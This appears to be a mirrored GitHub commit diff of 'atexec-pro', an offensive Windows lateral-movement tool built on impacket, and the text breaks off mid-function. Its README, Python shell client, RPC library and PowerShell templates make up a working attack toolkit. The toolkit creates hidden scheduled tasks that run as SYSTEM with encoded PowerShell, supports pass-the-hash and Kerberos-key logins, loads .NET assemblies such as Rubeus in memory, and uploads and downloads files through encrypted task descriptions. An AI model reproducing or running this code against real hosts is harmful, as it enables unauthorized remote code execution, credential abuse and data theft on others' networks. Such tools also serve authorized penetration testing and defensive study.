mirror of
https://github.com/Ridter/atexec-pro
synced 2026-06-08 12:21:52 +00:00
init
This commit is contained in:
@@ -0,0 +1,77 @@
|
||||
# Atexec-pro
|
||||
|
||||
Modified based on [atexec.py](https://github.com/fortra/impacket/blob/master/examples/atexec.py).
|
||||
|
||||
The TSCH service is used by default(neet port 135) and port 445 is no longer required.
|
||||
>ATSVC need port 445
|
||||
|
||||
The technology is mainly based on [this article](https://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.3_from_RPC_to_lateral_movement.html) by [zcgonvh](https://github.com/zcgonvh).
|
||||
|
||||
## Features
|
||||
* CMD command execute
|
||||
* PS command execute
|
||||
* File Upload
|
||||
* File Download
|
||||
* .Net assembly execute
|
||||
* Support ATSVC and TSCH interface.
|
||||
|
||||
>Note: functions `upload`, `download` and `execute-assembly` currently only support files up to `1MB` in size. All functions do not bypass AMSI.
|
||||
|
||||
## Usage
|
||||
```
|
||||
usage: atexec-pro.py [-h] [-i {TSCH,ATSVC}] [-session-id SESSION_ID] [-ts] [-debug] [-codec CODEC] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key]
|
||||
[-dc-ip ip address] [-keytab KEYTAB]
|
||||
target
|
||||
|
||||
positional arguments:
|
||||
target [[domain/]username[:password]@]<targetName or address>
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
-i {TSCH,ATSVC}, --interface {TSCH,ATSVC}
|
||||
Interface to use.
|
||||
-session-id SESSION_ID
|
||||
an existed logon session to use (no output, no cmd.exe)
|
||||
-ts adds timestamp to every logging output
|
||||
-debug Turn DEBUG output ON
|
||||
-codec CODEC Sets encoding used (codec) from the target's output (default "utf-8"). If errors are detected, run chcp.com at the target, map the result with
|
||||
https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py again with -codec and the corresponding codec
|
||||
|
||||
authentication:
|
||||
-hashes LMHASH:NTHASH
|
||||
NTLM hashes, format is LMHASH:NTHASH
|
||||
-no-pass don't ask for password (useful for -k)
|
||||
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found,
|
||||
it will use the ones specified in the command line
|
||||
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
|
||||
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
|
||||
-keytab KEYTAB Read keys for SPN from keytab file
|
||||
```
|
||||
|
||||
## example
|
||||
|
||||
### GetShell
|
||||
```
|
||||
python atexec-pro.py localhost/administrator:123@10.211.55.3
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Command
|
||||
|
||||

|
||||
|
||||
### .Net assembly
|
||||
|
||||

|
||||
|
||||
### Upload/Download
|
||||
|
||||

|
||||
|
||||
|
||||
## References
|
||||
* [impacket](https://github.com/fortra/impacket)
|
||||
* [Advanced Windows TaskScheduler Playbook - Part.3 from RPC to lateral movement](https://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.3_from_RPC_to_lateral_movement.html)
|
||||
* https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/eb12c947-7e20-4a30-a528-85bc433cec44
|
||||
* https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/400d77fe-2f1a-4a8e-a90b-a8f82fad5a20
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 183 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 121 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 127 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 149 KiB |
+212
@@ -0,0 +1,212 @@
|
||||
#!/usr/bin/env python
|
||||
import sys
|
||||
import argparse
|
||||
import logging
|
||||
import cmd2
|
||||
from cmd2 import Bg,Fg,style
|
||||
from cmd2 import Statement
|
||||
import os
|
||||
from impacket.examples import logger
|
||||
from impacket.examples.utils import parse_target
|
||||
from impacket.krb5.keytab import Keytab
|
||||
from libs.tsch import TSCH_EXEC
|
||||
CODEC = sys.stdout.encoding
|
||||
|
||||
|
||||
class AtShell(cmd2.Cmd):
|
||||
CMD_RUN = style("Run Command", fg=Fg.WHITE, bg=Bg.LIGHT_RED, bold=True)
|
||||
CMD_LOCAL = style("Local Command", fg=Fg.WHITE, bg=Bg.LIGHT_BLUE, bold=True)
|
||||
CMD_POST = style("Post Exploitation", fg=Fg.WHITE, bg=Bg.LIGHT_GREEN, bold=True)
|
||||
def __init__(self, username, password, domain, hashes, aesKey, k, dc_ip, session_id, address, interface,CODEC):
|
||||
super().__init__(allow_cli_args=False, include_ipy=False)
|
||||
delattr(cmd2.Cmd, 'do_macro')
|
||||
delattr(cmd2.Cmd, 'do_edit')
|
||||
delattr(cmd2.Cmd, 'do_py')
|
||||
delattr(cmd2.Cmd, 'do_run_pyscript')
|
||||
delattr(cmd2.Cmd, 'do_run_script')
|
||||
delattr(cmd2.Cmd, 'do_shortcuts')
|
||||
delattr(cmd2.Cmd, 'do_quit')
|
||||
self.self_in_py = False
|
||||
self.maxrepeats = 3
|
||||
self.prompt = 'ATShell (%s@%s)> ' % (username, address)
|
||||
self.at_op = TSCH_EXEC(username, password, domain, hashes, aesKey, k, dc_ip, session_id, CODEC)
|
||||
self.at_op.play(address, interface)
|
||||
self.intro = style('[+] Type help for list of commands.', fg=Fg.WHITE, bg=Bg.DARK_GRAY, bold=True) + ' 🚀'
|
||||
|
||||
def do_set(self, args):
|
||||
"""Set a configuration option"""
|
||||
args = args.split()
|
||||
if len(args) != 2:
|
||||
self.poutput("Usage: set <option> <value>")
|
||||
return
|
||||
option, value = args
|
||||
if option == "debug":
|
||||
if value.lower() == "true":
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
elif value.lower() == "false":
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
else:
|
||||
self.poutput("Invalid value. Use true or false.")
|
||||
super().do_set(" ".join(args))
|
||||
|
||||
def complete_set(self, text, line, begidx, endidx):
|
||||
debug_choices = ['true', 'false']
|
||||
if 'debug' not in line:
|
||||
# Use basic_complete method for other options
|
||||
return self.basic_complete(text, line, begidx, endidx, self.settables)
|
||||
else:
|
||||
return [choice for choice in debug_choices if choice.startswith(text)]
|
||||
|
||||
def do_shell(self, s):
|
||||
"""Executes a local shell command"""
|
||||
os.system(s)
|
||||
|
||||
def do_lcd(self, s):
|
||||
"""Changes the local directory"""
|
||||
if s == '':
|
||||
print(os.getcwd())
|
||||
else:
|
||||
try:
|
||||
os.chdir(s)
|
||||
except Exception as e:
|
||||
logging.error(str(e))
|
||||
|
||||
up_parse = cmd2.Cmd2ArgumentParser()
|
||||
up_parse.add_argument('local', type=str, help='Local file to upload')
|
||||
up_parse.add_argument('remote', type=str, help='Remote file to upload')
|
||||
@cmd2.with_argparser(up_parse)
|
||||
def do_upload(self, s):
|
||||
"""Uploads a file to the target"""
|
||||
local = s.local
|
||||
remote = s.remote
|
||||
self.at_op.upload_file(local, remote)
|
||||
|
||||
down_parse = cmd2.Cmd2ArgumentParser()
|
||||
down_parse.add_argument('remote', type=str, help='Remote file to download')
|
||||
# set default to current directory
|
||||
down_parse.add_argument('-l','--local', type=str, help='Local file to download', default="./", required=False)
|
||||
@cmd2.with_argparser(down_parse)
|
||||
def do_download(self, s):
|
||||
"""Downloads a file from the target"""
|
||||
remote = s.remote
|
||||
local = s.local
|
||||
self.at_op.download_file(remote, local)
|
||||
|
||||
ps_parse = cmd2.Cmd2ArgumentParser()
|
||||
ps_parse.add_argument('command', type=str, help='Command to execute')
|
||||
@cmd2.with_argparser(ps_parse)
|
||||
def do_ps_exec(self, s):
|
||||
"""Executes a powershell command on the target"""
|
||||
s = s.command
|
||||
logging.debug('Executing ps command: %s' % s)
|
||||
self.at_op.execute_powershell(s)
|
||||
|
||||
cmd_parse = cmd2.Cmd2ArgumentParser()
|
||||
cmd_parse.add_argument('command', type=str, help='Command to execute')
|
||||
@cmd2.with_argparser(cmd_parse)
|
||||
def do_cmd_exec(self, s):
|
||||
"""Executes a command on the target"""
|
||||
command = s.command
|
||||
logging.debug('Executing cmd command: %s' % command)
|
||||
self.at_op.execute_cmd_command(command)
|
||||
|
||||
def do_execute_assembly(self, line):
|
||||
"""Executes a .NET assembly on the target"""
|
||||
input = line.split(" ")
|
||||
if len(input) < 1 or len(line) == 0 :
|
||||
logging.warning("Example: execute_assembly /tmp/Rubeus.exe hash /password:X")
|
||||
return
|
||||
if len(input) == 1:
|
||||
prog = input[0]
|
||||
args = ""
|
||||
else:
|
||||
prog = input[0]
|
||||
args = " ".join(input[1:])
|
||||
logging.debug('Executing assembly: %s, args: %s' % (prog, args))
|
||||
self.at_op.execute_assembly(prog, args)
|
||||
|
||||
def default(self, statement: Statement):
|
||||
self.at_op.execute_cmd_command(statement.command)
|
||||
|
||||
|
||||
def do_exit(self, s):
|
||||
"""Terminates the server process (and this session)"""
|
||||
print('Bye!\n')
|
||||
return True
|
||||
|
||||
def emptyline(self):
|
||||
return False
|
||||
|
||||
cmd2.categorize((do_shell, do_lcd), CMD_LOCAL)
|
||||
cmd2.categorize((do_ps_exec, do_cmd_exec), CMD_RUN)
|
||||
cmd2.categorize((do_upload, do_download, do_execute_assembly), CMD_POST)
|
||||
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument("-i","--interface", action="store", help="Interface to use.", default="TSCH", choices=("TSCH","ATSVC"))
|
||||
parser.add_argument('-session-id', action='store', type=int, help='an existed logon session to use (no output, no cmd.exe)')
|
||||
parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
|
||||
'"%s"). If errors are detected, run chcp.com at the target, '
|
||||
'map the result with '
|
||||
'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py '
|
||||
'again with -codec and the corresponding codec ' % CODEC)
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
|
||||
'ones specified in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. '
|
||||
'If omitted it will use the domain part (FQDN) specified in the target parameter')
|
||||
group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
# Init the example's logger theme
|
||||
logger.init(options.ts)
|
||||
|
||||
if options.codec is not None:
|
||||
CODEC = options.codec
|
||||
else:
|
||||
if CODEC is None:
|
||||
CODEC = 'utf-8'
|
||||
|
||||
logging.warning("This will work ONLY on Windows >= Vista")
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
domain, username, password, address = parse_target(options.target)
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if options.keytab is not None:
|
||||
Keytab.loadKeysFromKeytab (options.keytab, username, domain, options)
|
||||
options.k = True
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
shell = AtShell(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, options.session_id, address, options.interface, CODEC)
|
||||
shell.cmdloop()
|
||||
Binary file not shown.
@@ -0,0 +1,9 @@
|
||||
$encryptionKey = [System.Convert]::FromBase64String("{key_b64}")
|
||||
{common_ps}
|
||||
$task = Get-ScheduledTask -TaskName "{taskname}" -TaskPath \;
|
||||
$decryptedDescription = Decrypt-Data $encryptionKey $task.Description
|
||||
$executionResult = iex $decryptedDescription | Out-String
|
||||
$encryptedResult = Encrypt-Data $encryptionKey $executionResult
|
||||
$task.Description = $encryptedResult
|
||||
Set-ScheduledTask $task
|
||||
[Environment]::Exit(0)
|
||||
@@ -0,0 +1,33 @@
|
||||
function ConvertTo-Base64($byteArray) {
|
||||
[System.Convert]::ToBase64String($byteArray)
|
||||
}
|
||||
|
||||
function ConvertFrom-Base64($base64String) {
|
||||
[System.Convert]::FromBase64String($base64String)
|
||||
}
|
||||
|
||||
function Encrypt-Data($key, $data) {
|
||||
$aesManaged = New-Object System.Security.Cryptography.AesManaged
|
||||
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
|
||||
$aesManaged.Key = $key
|
||||
$aesManaged.GenerateIV()
|
||||
$encryptor = $aesManaged.CreateEncryptor()
|
||||
$utf8Bytes = [System.Text.Encoding]::UTF8.GetBytes($data)
|
||||
$encryptedData = $encryptor.TransformFinalBlock($utf8Bytes, 0, $utf8Bytes.Length)
|
||||
$combinedData = $aesManaged.IV + $encryptedData
|
||||
return ConvertTo-Base64 $combinedData
|
||||
}
|
||||
|
||||
function Decrypt-Data($key, $encryptedData) {
|
||||
$aesManaged = New-Object System.Security.Cryptography.AesManaged
|
||||
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
|
||||
$combinedData = ConvertFrom-Base64 $encryptedData
|
||||
$aesManaged.IV = $combinedData[0..15]
|
||||
$aesManaged.Key = $key
|
||||
$decryptor = $aesManaged.CreateDecryptor()
|
||||
$encryptedDataBytes = $combinedData[16..$combinedData.Length]
|
||||
$decryptedDataBytes = $decryptor.TransformFinalBlock($encryptedDataBytes, 0, $encryptedDataBytes.Length)
|
||||
return [System.Text.Encoding]::UTF8.GetString($decryptedDataBytes)
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
$target_file = "REPLACE_FILE_PATH"
|
||||
$encryptionKey = [System.Convert]::FromBase64String("{key_b64}")
|
||||
{common_ps}
|
||||
$task = Get-ScheduledTask -TaskName "{taskname}" -TaskPath \;
|
||||
# Check if file exists
|
||||
if (Test-Path -Path $target_file) {{
|
||||
try {{
|
||||
# Read file content and encrypt it, then save it to task description
|
||||
# Check if file is larger than 1MB
|
||||
$fileInfo = Get-Item $target_file
|
||||
if ($fileInfo.Length -gt 1048576) {{
|
||||
$result = "[-] File is too large."
|
||||
}}else{{
|
||||
$result = Get-Content -Path $target_file -Encoding Byte
|
||||
}}
|
||||
}} catch {{
|
||||
$result = $_.Exception.Message
|
||||
}}
|
||||
|
||||
|
||||
}}else{{
|
||||
$result = "[-] File not exists."
|
||||
}}
|
||||
$encryptedResult = Encrypt-Data $encryptionKey $result
|
||||
$task.Description = $encryptedResult
|
||||
Set-ScheduledTask $task
|
||||
[Environment]::Exit(0)
|
||||
@@ -0,0 +1,37 @@
|
||||
$encryptionKey = [System.Convert]::FromBase64String("{key_b64}")
|
||||
{common_ps}
|
||||
try {{
|
||||
$task = Get-ScheduledTask -TaskName "{taskname}" -TaskPath \;
|
||||
$decryptedDescription = Decrypt-Data $encryptionKey $task.Description
|
||||
$pass_args = Decrypt-Data $encryptionKey "REPLACE_ARGS"
|
||||
$args = $pass_args -split ' '
|
||||
$assembly = [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String($decryptedDescription))
|
||||
$entryPoint = $assembly.EntryPoint
|
||||
if ($entryPoint -ne $null) {{
|
||||
$consoleOutput = [System.IO.MemoryStream]::new()
|
||||
$streamWriter = New-Object System.IO.StreamWriter($consoleOutput)
|
||||
$oldOut = [Console]::Out
|
||||
[Console]::SetOut($streamWriter)
|
||||
|
||||
[string[]]$ARGS_NAME = @($args)
|
||||
$null = $entryPoint.Invoke($null, [object[]](,$ARGS_NAME))
|
||||
|
||||
$streamWriter.Flush()
|
||||
[Console]::SetOut($oldOut)
|
||||
$consoleOutput.Position = 0
|
||||
$streamReader = New-Object System.IO.StreamReader($consoleOutput)
|
||||
$executionResult = $streamReader.ReadToEnd()
|
||||
# Cleanup
|
||||
$streamReader.Dispose()
|
||||
$streamWriter.Dispose()
|
||||
$consoleOutput.Dispose()
|
||||
$encryptedResult = Encrypt-Data $encryptionKey $executionResult
|
||||
}} else {{
|
||||
Write-Host "No entry point found in assembly."
|
||||
}}
|
||||
}} catch {{
|
||||
$executionResult = $_.Exception.Message
|
||||
}}
|
||||
$task.Description = $encryptedResult
|
||||
Set-ScheduledTask $task
|
||||
[Environment]::Exit(0)
|
||||
@@ -0,0 +1,26 @@
|
||||
$target_path = "REPLACE_FILE_PATH"
|
||||
$encryptionKey = [System.Convert]::FromBase64String("{key_b64}")
|
||||
{common_ps}
|
||||
$task = Get-ScheduledTask -TaskName "{taskname}" -TaskPath \;
|
||||
if (Test-Path -Path $target_path) {{
|
||||
$result = "[-] File already exists."
|
||||
}}else{{
|
||||
try {{
|
||||
$decryptedDescription = Decrypt-Data $encryptionKey $task.Description
|
||||
# base64 decode get raw data and save it to file
|
||||
$decodeData = ConvertFrom-Base64 $decryptedDescription
|
||||
# if target path not exists, create it
|
||||
$dir = Split-Path $target_path
|
||||
if (!(Test-Path -Path $dir)) {{
|
||||
New-Item -ItemType Directory -Path $dir
|
||||
}}
|
||||
$decodeData | Set-Content -Path "REPLACE_FILE_PATH" -Encoding Byte
|
||||
$result = "[+] Success."
|
||||
}} catch {{
|
||||
$result = $_.Exception.Message
|
||||
}}
|
||||
}}
|
||||
$encryptedResult = Encrypt-Data $encryptionKey $result
|
||||
$task.Description = $encryptedResult
|
||||
Set-ScheduledTask $task
|
||||
[Environment]::Exit(0)
|
||||
+361
@@ -0,0 +1,361 @@
|
||||
#!/usr/bin/env python
|
||||
from __future__ import division
|
||||
from __future__ import print_function
|
||||
import string
|
||||
import sys
|
||||
import time
|
||||
import random
|
||||
import logging
|
||||
import base64
|
||||
import codecs
|
||||
import os
|
||||
from impacket.dcerpc.v5 import tsch, transport,epm
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, \
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import pad, unpad
|
||||
from Crypto.Random import get_random_bytes
|
||||
import base64
|
||||
|
||||
class TSCH_EXEC:
|
||||
def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, sessionId=None, codec="utf-8"):
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__kdcHost = kdcHost
|
||||
self.__codec = codec
|
||||
self.__common_ps = ""
|
||||
self.sessionId = sessionId
|
||||
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
self.get_common_ps()
|
||||
|
||||
def check_file_size(self, data):
|
||||
# Check if the file size is greater than 1MB
|
||||
if len(data) > 1048576:
|
||||
logging.error('File size is too big, please consider using a smaller file')
|
||||
return False
|
||||
return True
|
||||
|
||||
def get_common_ps(self):
|
||||
with open('./libs/powershells/common.ps1', 'r') as f:
|
||||
self.__common_ps = f.read()
|
||||
|
||||
def play(self, addr, interface):
|
||||
if interface == "ATSVC":
|
||||
stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr
|
||||
else:
|
||||
try:
|
||||
stringbinding = epm.hept_map(addr, tsch.MSRPC_UUID_TSCHS, protocol="ncacn_ip_tcp")
|
||||
except Exception as e:
|
||||
logging.error("Connect error, error is {}".format(e))
|
||||
sys.exit(1)
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
|
||||
self.__aesKey)
|
||||
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
self.check_logon(rpctransport, interface)
|
||||
self.__rpctransport = rpctransport
|
||||
|
||||
def start_tsch(self, description, script, randomkey="",tmpName="", save=False, save_path=""):
|
||||
try:
|
||||
self.doStuff(self.__rpctransport, randomkey=randomkey, tmpName=tmpName, description=description, script=script, save=save, save_path=save_path)
|
||||
except Exception as e:
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
logging.error(e)
|
||||
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0:
|
||||
logging.info('When STATUS_OBJECT_NAME_NOT_FOUND is received, try running again. It might work')
|
||||
|
||||
def execute_powershell(self, command):
|
||||
with open('./libs/powershells/cmd.ps1', 'r') as f:
|
||||
script = f.read()
|
||||
self.start_tsch(command, script)
|
||||
|
||||
def execute_cmd_command(self, command):
|
||||
if self.sessionId is not None:
|
||||
cmd, args = self.cmd_split(command)
|
||||
else:
|
||||
cmd = "cmd.exe"
|
||||
args = "/C %s" % (command)
|
||||
command = cmd + ' ' + args
|
||||
with open('./libs/powershells/cmd.ps1', 'r') as f:
|
||||
script = f.read()
|
||||
self.start_tsch(command, script)
|
||||
|
||||
def execute_assembly(self, prog, args):
|
||||
with open('./libs/powershells/net.ps1', 'r') as f:
|
||||
script = f.read()
|
||||
|
||||
if os.path.exists(prog) is False:
|
||||
logging.error('File %s not found!' % prog)
|
||||
return
|
||||
|
||||
with open(prog, 'rb') as f:
|
||||
file_data = f.read()
|
||||
|
||||
if self.check_file_size(file_data) is False:
|
||||
return
|
||||
key = get_random_bytes(16)
|
||||
encode_args = self.encrypt(key, args.lstrip())
|
||||
file_data = base64.b64encode(file_data).decode('utf-8')
|
||||
script = script.replace('REPLACE_ARGS', encode_args)
|
||||
self.start_tsch(file_data, script, randomkey=key)
|
||||
|
||||
def upload_file(self, local, remote):
|
||||
with open('./libs/powershells/upload.ps1', 'r') as f:
|
||||
script = f.read()
|
||||
if os.path.exists(local) is False:
|
||||
logging.error('Local File %s not found!' % local)
|
||||
return
|
||||
with open(local, 'rb') as f:
|
||||
file_data = f.read()
|
||||
if self.check_file_size(file_data) is False:
|
||||
return
|
||||
# if remote is a directory, append the filename to the path
|
||||
if remote[-1] == '/' or remote[-1] == '\\':
|
||||
if "/" in local:
|
||||
remote += local.split('/')[-1]
|
||||
else:
|
||||
remote += local.split('\\')[-1]
|
||||
logging.info('Uploading %s to %s' % (local, remote))
|
||||
file_data = base64.b64encode(file_data).decode('utf-8')
|
||||
script = script.replace('REPLACE_FILE_PATH', remote)
|
||||
self.start_tsch(file_data, script)
|
||||
|
||||
def download_file(self, remote, local):
|
||||
with open('./libs/powershells/download.ps1', 'r') as f:
|
||||
script = f.read()
|
||||
|
||||
# if local is a directory, append the filename to the path
|
||||
if local[-1] == '/' or local[-1] == '\\':
|
||||
if "/" in remote:
|
||||
local += remote.split('/')[-1]
|
||||
else:
|
||||
local += remote.split('\\')[-1]
|
||||
logging.info('Downloading %s to %s' % (remote, local))
|
||||
script = script.replace('REPLACE_FILE_PATH', remote)
|
||||
self.start_tsch("", script, save=True, save_path=local)
|
||||
|
||||
def output_callback(self,data):
|
||||
try:
|
||||
print(data.decode(self.__codec))
|
||||
except UnicodeDecodeError:
|
||||
logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
|
||||
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute atexec.py '
|
||||
'again with -codec and the corresponding codec')
|
||||
print(data.decode(self.__codec, errors='replace'))
|
||||
|
||||
|
||||
def cmd_split(self, cmdline):
|
||||
cmdline = cmdline.split(" ", 1)
|
||||
cmd = cmdline[0]
|
||||
args = cmdline[1] if len(cmdline) > 1 else ''
|
||||
return [cmd, args]
|
||||
|
||||
def xml_escape(self, data):
|
||||
replace_table = {
|
||||
"&": "&",
|
||||
'"': """,
|
||||
"'": "'",
|
||||
">": ">",
|
||||
"<": "<",
|
||||
}
|
||||
return ''.join(replace_table.get(c, c) for c in data)
|
||||
|
||||
def encrypt(self, key, data):
|
||||
cipher = AES.new(key, AES.MODE_CBC)
|
||||
padded_data = pad(data.encode(), AES.block_size)
|
||||
encrypted = cipher.encrypt(padded_data)
|
||||
return base64.b64encode(cipher.iv + encrypted).decode()
|
||||
|
||||
def decrypt(self, key, encrypted_data):
|
||||
raw = base64.b64decode(encrypted_data)
|
||||
iv = raw[:AES.block_size]
|
||||
encrypted = raw[AES.block_size:]
|
||||
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||
padded_data = cipher.decrypt(encrypted)
|
||||
return unpad(padded_data, AES.block_size).decode()
|
||||
|
||||
def check_logon(self, rpctransport, intercate):
|
||||
try:
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.set_credentials(*rpctransport.get_credentials())
|
||||
if self.__doKerberos is True:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
if intercate == "TSCH":
|
||||
as_user = f"{self.__domain}\\{self.__username}"
|
||||
logging.info(f"Connecting to DCE/RPC as {as_user}")
|
||||
tsch.hSchRpcHighestVersion(dce=dce)
|
||||
logging.info("Successfully bound.")
|
||||
except Exception as e:
|
||||
logging.error(e)
|
||||
sys.exit(1)
|
||||
dce.disconnect()
|
||||
return False
|
||||
|
||||
def doStuff(self, rpctransport, randomkey="", tmpName="",description="", script="", save=False, save_path=""):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
|
||||
dce.set_credentials(*rpctransport.get_credentials())
|
||||
if self.__doKerberos is True:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
if randomkey == "":
|
||||
randomkey = get_random_bytes(16)
|
||||
if tmpName == "":
|
||||
tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
|
||||
|
||||
description = self.encrypt(randomkey, description)
|
||||
ps_script = script.format(key_b64=base64.b64encode(randomkey).decode('utf-8'), common_ps=self.__common_ps, taskname=tmpName)
|
||||
|
||||
# logging.debug(ps_script)
|
||||
# Encode the PowerShell script as a UTF-16LE byte string
|
||||
byte_string = codecs.encode(ps_script, 'utf-16le')
|
||||
# Base64 encode the UTF-16LE byte string
|
||||
enc = base64.b64encode(byte_string)
|
||||
# The result will be a byte string, if you need it as a string, decode it
|
||||
encoded_string = enc.decode('ascii')
|
||||
|
||||
xml = """<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
<RegistrationInfo>
|
||||
<Description>{description}</Description>
|
||||
</RegistrationInfo>
|
||||
<Triggers>
|
||||
<CalendarTrigger>
|
||||
<StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
|
||||
<Enabled>true</Enabled>
|
||||
<ScheduleByDay>
|
||||
<DaysInterval>1</DaysInterval>
|
||||
</ScheduleByDay>
|
||||
</CalendarTrigger>
|
||||
</Triggers>
|
||||
<Principals>
|
||||
<Principal id="LocalSystem">
|
||||
<UserId>S-1-5-18</UserId>
|
||||
<RunLevel>HighestAvailable</RunLevel>
|
||||
</Principal>
|
||||
</Principals>
|
||||
<Settings>
|
||||
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
|
||||
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
|
||||
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
|
||||
<AllowHardTerminate>true</AllowHardTerminate>
|
||||
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
||||
<IdleSettings>
|
||||
<StopOnIdleEnd>true</StopOnIdleEnd>
|
||||
<RestartOnIdle>false</RestartOnIdle>
|
||||
</IdleSettings>
|
||||
<AllowStartOnDemand>true</AllowStartOnDemand>
|
||||
<Enabled>true</Enabled>
|
||||
<Hidden>true</Hidden>
|
||||
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
||||
<WakeToRun>false</WakeToRun>
|
||||
<ExecutionTimeLimit>PT1M</ExecutionTimeLimit>
|
||||
<Priority>7</Priority>
|
||||
</Settings>
|
||||
<Actions Context="LocalSystem">
|
||||
<Exec>
|
||||
<Command>powershell.exe</Command>
|
||||
<Arguments>-NonInteractive -enc {ps_command}</Arguments>
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
||||
""".format(description=self.xml_escape(description), ps_command=self.xml_escape(encoded_string))
|
||||
taskCreated = False
|
||||
# logging.debug('task xml: %s' % xml)
|
||||
try:
|
||||
logging.debug('Creating task \\%s' % tmpName)
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
with open('task.xml', 'w') as f:
|
||||
f.write(xml)
